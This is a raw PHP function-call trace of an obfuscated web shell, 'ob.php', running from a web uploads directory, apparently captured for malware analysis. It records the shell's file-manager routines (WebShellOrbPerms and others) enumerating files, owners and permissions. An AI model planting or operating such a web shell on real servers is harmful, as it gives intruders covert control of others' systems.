'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 121 0 0.030144 1494856 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 121 1 0.030160 1494880 4 121 R 0 4 122 0 0.030174 1494840 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 122 1 0.030201 1495640 4 122 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 123 0 0.030278 1494872 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 123 1 0.030293 1494912 4 123 R 0 4 124 0 0.030306 1494872 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 124 1 0.030329 1495528 4 124 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 125 0 0.030390 1495392 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 4 125 1 0.030406 1495448 4 125 R 1676259820 4 126 0 0.030420 1495352 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 126 1 0.030454 1495680 4 126 R '2023-02-12 22:43:40' 4 127 0 0.030469 1495664 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 128 0 0.030518 1495664 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 5 128 1 0.030535 1495704 5 128 R TRUE 5 129 0 0.030549 1495664 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 5 129 1 0.030565 1495704 5 129 R FALSE 5 130 0 0.030579 1495664 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 5 130 1 0.030593 1495704 5 130 R 33188 5 131 0 0.030611 1495664 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 33188 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 131 1 0.030929 1495704 5 131 R '-rw-r--r--' 4 127 1 0.030944 1495728 4 127 R '-rw-r--r--' 4 132 0 0.030961 1495728 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 4 132 1 0.030975 1495768 4 132 R 64 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 133 0 0.031026 1495352 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/.htaccess' 4 133 1 0.031040 1495392 4 133 R TRUE 4 134 0 0.031054 1495296 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root'] ['type' => 'file'] 4 134 1 0.031077 1495736 4 134 R ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 135 0 0.031286 1496048 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 135 1 0.031302 1496064 4 135 R 0 4 136 0 0.031315 1496024 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 136 1 0.031340 1496824 4 136 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 137 0 0.031416 1496056 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 137 1 0.031430 1496096 4 137 R 0 4 138 0 0.031443 1496056 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 138 1 0.031465 1496712 4 138 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 139 0 0.031526 1496576 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 139 1 0.031542 1496640 4 139 R 1676259820 4 140 0 0.031556 1496544 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 140 1 0.031588 1496872 4 140 R '2023-02-12 22:43:40' 4 141 0 0.031604 1496856 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 142 0 0.031653 1496856 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 5 142 1 0.031670 1496896 5 142 R TRUE 5 143 0 0.031684 1496856 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 5 143 1 0.031700 1496896 5 143 R TRUE 5 144 0 0.031714 1496856 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 5 144 1 0.031728 1496896 5 144 R 16895 5 145 0 0.031741 1496856 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 16895 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 'd' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 145 1 0.032065 1496896 5 145 R 'drwxrwxrwx' 4 141 1 0.032080 1496920 4 141 R 'drwxrwxrwx' 4 146 0 0.032098 1496920 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 146 1 0.032112 1496960 4 146 R 4096 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 147 0 0.032163 1496544 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 147 1 0.032177 1496584 4 147 R FALSE 4 148 0 0.032191 1496544 is_link 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 148 1 0.032207 1496584 4 148 R FALSE 4 149 0 0.032221 1496544 is_dir 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/data' 4 149 1 0.032235 1496584 4 149 R TRUE 4 150 0 0.032249 1496488 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 150 1 0.032273 1496928 4 150 R ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 151 0 0.032482 1496864 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 151 1 0.032498 1496880 4 151 R 1000 4 152 0 0.032511 1496840 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 1000 4 152 1 0.032544 1497656 4 152 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 153 0 0.032623 1496888 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 4 153 1 0.032637 1496928 4 153 R 1000 4 154 0 0.032650 1496888 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 1000 4 154 1 0.032682 1497544 4 154 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 155 0 0.032744 1497408 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 4 155 1 0.032759 1497472 4 155 R 1676259820 4 156 0 0.032773 1497376 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 156 1 0.032805 1497704 4 156 R '2023-02-12 22:43:40' 4 157 0 0.032820 1497688 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 158 0 0.032870 1497688 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 5 158 1 0.032887 1497728 5 158 R TRUE 5 159 0 0.032900 1497688 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 5 159 1 0.032916 1497728 5 159 R FALSE 5 160 0 0.032947 1497688 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 5 160 1 0.032962 1497728 5 160 R 33204 5 161 0 0.032975 1497688 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 33204 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 161 1 0.033299 1497728 5 161 R '-rw-rw-r--' 4 157 1 0.033314 1497752 4 157 R '-rw-rw-r--' 4 162 0 0.033331 1497752 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 4 162 1 0.033345 1497792 4 162 R 66027 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 163 0 0.033396 1497376 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/ob.php' 4 163 1 0.033409 1497416 4 163 R TRUE 4 164 0 0.033422 1497320 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes'] ['type' => 'file'] 4 164 1 0.033451 1497760 4 164 R ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 files[] = ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pdavystbnb'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dccmvjub = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rqmafuvr'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $igxyngssey = 'tmp' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $olxfijt = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mlougu'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xqzsqep = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['phbvllhebmmy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['egevsdguy'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $umpvgjutp = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['jjvkvgxrrgr'] = 'gr' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyldppgou'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dfpwsfgwzk = 'i' 4 165 0 0.033661 1497696 fileowner 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 165 1 0.033678 1497720 4 165 R 0 4 166 0 0.033691 1497680 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 166 1 0.033716 1498480 4 166 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $owow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kbjcjgsc = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yovvctdkx'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kvhmbnzvd = 'dirContent' 4 167 0 0.033793 1497696 filegroup 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 4 167 1 0.033807 1497736 4 167 R 0 4 168 0 0.033820 1497696 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 4 168 1 0.033843 1498352 4 168 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gr$umpvgjutpgr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 